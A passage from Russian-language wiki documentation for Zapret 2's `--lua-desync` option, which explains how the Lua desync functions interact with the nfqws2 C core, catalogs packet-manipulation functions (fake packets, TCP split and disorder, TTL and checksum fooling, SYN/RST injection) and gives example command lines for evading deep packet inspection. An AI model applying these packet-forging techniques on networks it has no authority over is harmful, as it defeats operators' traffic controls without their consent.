сначала фейк, потом нарезка — не то же самое, что наоборот; см. [[последовательность аргументов]]). Параметры пишутся через двоеточие: `param=value` — со значением, `param` без значения = `true`. > [!note] Как это работает по шагам > Пакет проходит через фильтры [[profile|профиля]] (`--filter-tcp`, `--filter-l7`, [[hostlist|`--hostlist`]]) → если соответствует, вызывается Lua-функция инстанса → функция выполняет действие (отправляет [[fake|фейк]], разбивает пакет, модифицирует заголовки) → возвращает вердикт (`VERDICT_PASS`, `VERDICT_MODIFY`, `VERDICT_DROP`), который агрегируется по всей цепочке инстансов. --- ## 🔗 Что функция получает, что отдаёт и как связана с C-ядром Это раздел про **контракт** desync-функции: где она живёт, кто её вызывает, что подаётся ей на вход, что она возвращает и как это стыкуется с C-ядром `nfqws2`. Понимание этого контракта — ключ ко всем отдельным техникам ([[fake]], [[multisplit]], [[multidisorder]] и др.): все они устроены по одной схеме. ### Где desync-функция стоит в структуре проекта Zapret 2 состоит из двух половин (подробно — в [[структура проекта]]): быстрое **C-ядро** `nfqws2` и **Lua-код** с логикой обхода. desync-функции — это как раз Lua: они лежат в файле `zapret-antidpi.lua` (плюс базовые в `zapret-lib.lua`). Само C-ядро обхода не делает — оно только перехватывает, разбирает и отправляет пакеты, а *решение, что с пакетом сделать*, отдаёт в Lua. Момент вызова — предпоследняя стадия [[схема обработки трафика|конвейера обработки пакета]]. К этому времени C-ядро уже перехватило пакет из ядра ОС, разобрало его (диссекция), привязало к потоку (conntrack), определило тип пейлоада и выбрало [[profile|профиль]]. Дальше ядро идёт по **инстансам** профиля (каждый `--lua-desync=...` — один инстанс) строго по порядку и для каждого вызывает Lua-функцию. > [!note] Инстанс — это один вызов > Инстанс = один экземпляр вызова Lua-функции из профиля, заданный одним флагом `--lua-desync`. Одна и та же функция может быть вызвана несколько раз с разными параметрами — это разные инстансы. Порядок инстансов принципиален (см. [[последовательность аргументов]]). ### Сигнатура: два параметра на входе Каждая desync-функция объявляется с двумя аргументами: ```lua function fake(ctx, desync) -- пример: функция fake ``` - **`ctx`** — «контекст», непрозрачный мост к C-коду. Сам по себе он ничего не значит для чтения; его передают обратно в C-функции (отправка пакетов, cutoff), чтобы те знали, к какому пакету/очереди относится вызов. Грубо говоря, `ctx` — это «телефонная линия обратно в ядро». - **`desync`** — большая Lua-таблица со **всеми данными** обрабатываемого пакета и его потока. Это главный вход: из неё функция читает всё, что ей нужно. Полный разбор всех полей (`arg`, `dis`, `track`, reasm/replay и пр.) — в отдельной заметке [[структура desync и диссекта]]. > [!note] Проще говоря > `desync` — это «что за пакет и что мы про него знаем» (данные, которые C передал в Lua). `ctx` — это «как достучаться обратно до C, чтобы что-то отправить или отключиться». Первое читают, второе используют как ручку для команд. ### Что функция делает в середине Получив `desync`, инстанс может: - **читать** поля пакета и потока (диссект, тип пейлоада, счётчики conntrack, собранный reasm); - **создавать копии** текущего диссекта, менять в них поля (sequence number, TTL, флаги, payload) и **генерировать собственные** диссекты (например, фейковый ClientHello); - **отправлять** эти диссекты сырыми пакетами прямо в сеть — через C-функции вроде `rawsend_*` (именно тут используется `ctx`). Это происходит **немедленно**, ещё до того как функция вернёт вердикт; - **хранить состояние**: в самой таблице `desync` — для передачи данных следующим инстансам этого же пакета; в `desync.track.lua_state` — для данных, живущих между пакетами одного потока (эту таблицу C выдаёт одну и ту же на каждый пакет потока). ### Что функция отдаёт: два вида выхода У desync-функции, как и у [[multisplit]], два «выхода», и их важно различать. **1. Побочный эффект — уже отправленные пакеты.** Основную работу [[fake|фейка]] или [[multisplit|нарезки]] функция делает не через `return`, а вызовами отправки (`rawsend_*`) прямо посреди тела. К моменту `return` фейковые/нарезанные пакеты уже улетели в сеть. **2. Возвращаемое значение — вердикт оригинальному пакету.** Перехваченный пакет всё ещё ждёт решения. Функция возвращает одно из: | Вердикт | Что значит | |:--------|:-----------| | `VERDICT_PASS` | не делать с оригиналом ничего (пропустить как есть) | | `VERDICT_MODIFY` | в конце всей цепочки отправить **изменённое** содержимое диссекта | | `VERDICT_DROP` | выбросить оригинал (например, потому что данные уже ушли нарезанными) | | `nil` (без `return`) | бездействие — функция решила не вмешиваться | **Агрегация по цепочке.** Вердикты всех инстансов профиля объединяются по приоритету: `MODIFY` перебивает `PASS`, а `DROP` перебивает и `PASS`, и `MODIFY`. Достаточно одному инстансу вернуть `DROP` — оригинал будет выброшен, что бы ни вернули соседи (иначе, например, при нарезке сервер получил бы данные дважды). **Управляющий «выход» — cutoff.** Кроме вердикта функция может управлять своим будущим: `instance_cutoff` отключает этот инстанс от дальнейших пакетов потока по направлению, `lua_cutoff` отключает направление потока от всей Lua-обработки, а инстанс-[[оркестратор|оркестратор]] может вовсе взять управление остальной цепочкой на себя. Это способ сэкономить CPU и строить динамические сценарии (подробнее — [[схема обработки трафика]], стадия про cutoff). ### Связь C ↔ Lua одной картинкой - **Из C в Lua передаётся `desync`** — данные: диссект, conntrack, тип пейлоада, аргументы инстанса, replay-инфо. C уже сделал всю «тяжёлую» работу (перехват, разбор, отслеживание потока) и сложил результат в таблицу. - **Из Lua в C идут команды** — через `ctx`: отправить сырой пакет, испортить checksum, поставить cutoff. Плюс **вердикт** через `return` — что C сделать с оригиналом в конце. Такое разделение и есть главная идея Zapret 2: медленную логику обхода можно править в текстовых Lua-файлах без перекомпиляции C-ядра. --- ## 📦 **Доступные функции из `zapret-antidpi.lua`** Аргументы | Категория | Аргумент | Описание | | ----------- | ------------------------- | ---------------------------------------- | | Direction | dir | in \| out \| any | | Fooling | ip_ttl=N | TTL для IPv4 | | | ip6_ttl=N | TTL для IPv6 | | | ip_autottl=delta,min-max | Авто-определение TTL | | | ip6_autottl=delta,min-max | Авто-определение TTL для IPv6 | | | ip6_hopbyhop[=hex] | Добавить hop-by-hop заголовок | | | ip6_hopbyhop2[=hex] | Второй hop-by-hop | | | ip6_destopt[=hex] | Destopt заголовок | | | ip6_destopt2[=hex] | Второй destopt | | | ip6_routing[=hex] | Routing заголовок | | | ip6_ah[=hex] | Authentication заголовок | | | tcp_seq=N | Добавить N к tcp.th_seq | | | tcp_ack=N | Добавить N к tcp.th_ack | | | tcp_ts=N | Добавить N к timestamp | | | tcp_md5[=hex] | Добавить MD5 опцию | | | tcp_flags_set= | Установить TCP флаги | | | tcp_flags_unset= | Снять TCP флаги | | | tcp_ts_up | Переместить timestamp наверх | | | fool= | Кастомная функция fooling | | Reconstruct | badsum | Невалидная L4 checksum | | Rawsend | repeats | Сколько раз отправить пакет | | | ifout | Override исходящего интерфейса | | | fwmark | Override fwmark | | Payload | payload | Список разрешённых типов payload | | IP_ID | ip_id | seq\|rnd\|zero\|none | | | ip_id_conn | Сохранять ip_id между пакетами | | IPfrag | ipfrag[=func] | Функция фрагментации (default: ipfrag2) | | | ipfrag_disorder | Отправить фрагменты в обратном порядке | | | ipfrag_pos_udp | Позиция UDP фрагмента (default: 8) | | | ipfrag_pos_tcp | Позиция TCP фрагмента (default: 32) | | | ipfrag_next | Next protocol для второго фрагмента IPv6 | ### Базовые: | Функция | Описание | |---------|----------| | `drop` | Отбросить пакет | | `send` | Отправить пакет как есть (с возможной модификацией заголовков) | | `pktmod` | Модифицировать заголовки пакета (fooling) | | Функция | Std args | Специфичные args | |---------|---------------------------------------------------------|------------------| | drop | direction, payload | - | | send | direction, fooling, ip_id, ipfrag, rawsend, reconstruct | - | | pktmod | direction, fooling, ip_id | - | ### HTTP модификации: | Функция | Описание | |---------|----------| | `http_domcase` | Изменить регистр домена (HoSt) | | `http_hostcase` | Изменить регистр заголовка Host | | `http_methodeol` | Модифицировать конец строки метода | ### TCP сплит и disorder: | Функция | Описание | |---------|----------| | [[multisplit]] | Разбить пакет на несколько TCP сегментов | | [[multidisorder]] | Разбить + отправить в обратном порядке | | [[tcpseg]] | TCP сегментация | | Функция | Std args | Специфичные args | |---------------|------------------------------------------------------------------|------------------------------------------------------------------------------------| | multisplit | direction, payload, fooling, ip_id, rawsend, reconstruct, ipfrag | pos= (default: "2"), seqovl=N, seqovl_pattern=, blob=, nodrop | | multidisorder | direction, payload, fooling, ip_id, rawsend, reconstruct, ipfrag | pos= (default: "2"), seqovl=N, seqovl_pattern=, blob=, nodrop | | tcpseg | direction, payload, fooling, ip_id, rawsend, reconstruct, ipfrag | pos= (обязательный, 2 позиции), seqovl=N, seqovl_pattern=, blob= | ### Fake-атаки: | Функция | Описание | | --------------- | ----------------------------- | | [[fake]] | Отправить fake пакет | | [[fakedsplit]] | Fake + сплит оригинала | | [[fakeddisorder]] | Fake + disorder оригинала | | [[hostfakesplit]] | Fake только для хоста + сплит | | Функция | Std args | Специфичные args | |---------------|------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------| | fake | direction, payload, fooling, ip_id, rawsend, reconstruct, ipfrag | blob= (обязательный), tls_mod= (rnd,rndsni,sni=,dupsid,padencap) | | fakedsplit | direction, payload, fooling, ip_id, rawsend, reconstruct | pos= (default: "2"), nofake1, nofake2, nofake3, nofake4, pattern=, seqovl=N, seqovl_pattern=, blob=, nodrop | | fakeddisorder | direction, payload, fooling, ip_id, rawsend, reconstruct | pos= (default: "2"), nofake1-4, pattern=, seqovl=N, seqovl_pattern=, blob=, nodrop | | hostfakesplit | direction, payload, fooling, ip_id, rawsend, reconstruct | host= (шаблон хоста), midhost=, nofake1, nofake2, disorder_after=, blob=, nodrop | ### SYN-атаки: | Функция | Описание | |---------|----------| | [[syndata]] | Отправить SYN с данными | | `synack` | Работа с SYN/ACK | | `synack_split` | Сплит по SYN/ACK | ### Window size: | Функция | Описание | |---------|----------| | `wsize` | Изменить window size на SYN-ACK | | `wssize` | Изменить window size на всех пакетах | ### Прочее: | Функция | Описание | |---------|----------| | `rst` | Отправить RST | | `udplen` | Изменить длину UDP | | `dht_dn` | DHT domain name injection | ### Из `zapret-lib.lua`: | Функция | Описание | |---------|----------| | `pass` | Ничего не делать (для отладки) | | `pktdebug` | Вывести содержимое desync в лог | | `argdebug` | Вывести аргументы в лог | | `posdebug` | Вывести позиции conntrack | | `luaexec` | Выполнить произвольный Lua код | --- ## 💡 **Примеры использования** ### Простой fake: ```bash --lua-desync=fake:blob=fake_default_tls ``` ### Fake с параметрами: ```bash --lua-desync=fake:blob=fake_default_tls:tcp_md5:ip_ttl=3:repeats=5 ``` ### Multisplit: ```bash --lua-desync=multisplit:pos=1,midsld ``` ### Комбинация функций: ```bash --lua-desync=fake:blob=fake_default_tls:tcp_md5 \ --lua-desync=multisplit:pos=1,midsld ``` ### С фильтром payload: ```bash --payload=tls_client_hello --lua-desync=fake:blob=fake_default_tls \ --payload=http_req --lua-desync=fake:blob=fake_default_http ``` --- ## 📊 **Структура параметров** ```bash --lua-desync=функция:param1=val1:param2=val2:param3 ─────────┬───────────────────────────── │ параметры через двоеточие ``` **Типы параметров:** - `param=value` — параметр со значением - `param` — булевый параметр (без значения = true) --- ## 🔍 Что получает функция — кратко Второй параметр — таблица `desync` — это весь вход функции. Коротко её ключевые части: - **`desync.arg`** — аргументы **этого** инстанса (всё после двоеточий в `--lua-desync`); значения приходят строками, флаг без значения = `""` (в Lua истинно). - **`desync.dis`** — диссект: разобранный на поля текущий пакет (`ip`/`ip6`, `tcp`/`udp`, `payload`). - **`desync.l7payload`** / **`desync.outgoing`** — тип содержимого пакета и направление. - **`desync.track`** — данные потока из conntrack (может отсутствовать!); внутри `track.lua_state` — память, живущая между пакетами потока. - **`desync.reasm_data`** / **`decrypt_data`** + поля `replay*` — собранные из нескольких пакетов пейлоады. Увидеть полное содержимое `desync` на конкретном пакете можно инстансом `pktdebug`. > [!tip] Полный справочник по всем полям — в отдельной заметке > Прототип функции, все вердикты (включая `VERDICT_PRESERVE_NEXT`), полная структура `desync`, диссекта (`ip`/`ip6`/`tcp`/`udp`/`icmp`, exthdr, tcp options), `track` со счётчиками, механика reasm/replay, работа с 32-битными sequence и обработка ICMP/raw IP — всё это подробно разобрано в **[[структура desync и диссекта]]**. --- ## 🎯 **Полный пример** ```bash winws2 ^ --wf-tcp-out=80,443 ^ --lua-init=@zapret-lib.lua --lua-init=@zapret-antidpi.lua ^ --filter-tcp=80 --filter-l7=http ^ --payload=http_req --lua-desync=fake:blob=fake_default_http:tcp_md5 ^ --lua-desync=multisplit:pos=method+2 ^ --new ^ --filter-tcp=443 --filter-l7=tls ^ --payload=tls_client_hello --lua-desync=fake:blob=fake_default_tls:tcp_md5:tls_mod=rnd,rndsni ^ --lua-desync=multidisorder:pos=1,midsld ``` --- ## ✅ **Итог** **`--lua-desync`** — это сердце nfqws2: - 🔹 Вызывает Lua функцию для каждого пакета - 🔹 Передаёт параметры через двоеточие - 🔹 Можно указывать несколько раз (выполняются последовательно) - 🔹 Работает с фильтрами [[payload|`--payload`]], [[out-range|`--out-range`]], `--in-range` - 🔹 Можно писать свои функции ## 📋 **Полная таблица функций `--lua-desync`** ### 🔹 **Базовые функции (zapret-lib.lua)** | Функция | Описание | Параметры | |---------|----------|-----------| | `pass` | Ничего не делает (для отладки) | — | | `pktdebug` | Выводит содержимое desync в лог | — | | `argdebug` | Выводит аргументы функции в лог | — | | `posdebug` | Выводит позиции conntrack в лог | — | | `luaexec` | Выполняет произвольный Lua код | `code=` | --- ### 🔹 **Функции из zapret-antidpi.lua** #### **Базовые действия** | Функция | Аналог nfqws1 | Описание | Параметры | |---------|---------------|----------|-----------| | `drop` | — | Отбросить пакет | `dir`, `payload` | | `send` | `--dup` | Отправить копию пакета | `dir`, fooling, `ip_id`, `ipfrag`, `rawsend`, `reconstruct` | | `pktmod` | `--orig` | Модифицировать текущий пакет | `dir`, fooling, `ip_id` | --- #### **HTTP модификации** | Функция | Аналог nfqws1 | Описание | Параметры | |---------|---------------|----------|-----------| | `http_domcase` | `--domcase` | Изменить регистр домена (HoSt) | `dir` | | `http_hostcase` | `--hostcase` | Изменить регистр заголовка Host | `dir`, `spell=` (4 символа) | | `http_methodeol` | `--methodeol` | Модифицировать EOL метода | `dir`, `method=cr\|lf\|crlf\|lfcr`, `no_space` | --- #### **SYN-атаки** | Функция | Аналог nfqws1 | Описание | Параметры | | -------------- | ---------------------- | ----------------------- | ---------------------------------------------------------------------------- | | `syndata` | `--dpi-desync=syndata` | Отправить SYN с данными | `blob=`, `tls_mod=`, fooling, `rawsend`, `reconstruct`, `ipfrag` | | `synack` | — | Отправить SYN-ACK | fooling, `rawsend`, `reconstruct`, `ipfrag` | | `synack_split` | — | Сплит по SYN-ACK | `pos=`, `seqovl=N`, `seqovl_pattern=` | --- #### **Window size** | Функция | Аналог nfqws1 | Описание | Параметры | |---------|---------------|----------|-----------| | `wsize` | `--wssize` | Изменить window size на SYN-ACK | `wsize=N`, `scale=N` | | `wssize` | `--wssize` | Изменить window size на всех пакетах | `wsize=N`, `scale=N` | --- #### **RST** | Функция | Аналог nfqws1 | Описание | Параметры | |---------|---------------|----------|-----------| | `rst` | `--dpi-desync=rst` | Отправить RST | `dir`, `payload`, fooling, `ip_id`, `rawsend`, `reconstruct`, `ipfrag`, `rstack` | --- #### **Fake-атаки** | Функция | Аналог nfqws1 | Описание | Параметры | |---------|---------------|----------|-----------| | `fake` | `--dpi-desync=fake` | Отправить fake пакет | `blob=` *(обязательный)*, `tls_mod=`, `dir`, `payload`, fooling, `ip_id`, `rawsend`, `reconstruct`, `ipfrag` | --- #### **Сплит и disorder** | Функция | Аналог nfqws1 | Описание | Параметры | |---------|---------------|----------|-----------| | `multisplit` | `--dpi-desync=multisplit` | Разбить на TCP сегменты | `pos=`, `seqovl=N`, `seqovl_pattern=`, `blob=`, `nodrop` | | `multidisorder` | `--dpi-desync=multidisorder` | Разбить + обратный порядок | `pos=`, `seqovl=`, `seqovl_pattern=`, `blob=`, `nodrop` | | `tcpseg` | — | TCP сегментация по диапазону | `pos=` *(обязательный)*, `seqovl=N`, `seqovl_pattern=`, `blob=` | --- #### **Fake + сплит комбинации** | Функция | Аналог nfqws1 | Описание | Параметры | |---------|---------------|----------|-----------| | `hostfakesplit` | `--dpi-desync=hostfakesplit` | Fake только для хоста + сплит | `host=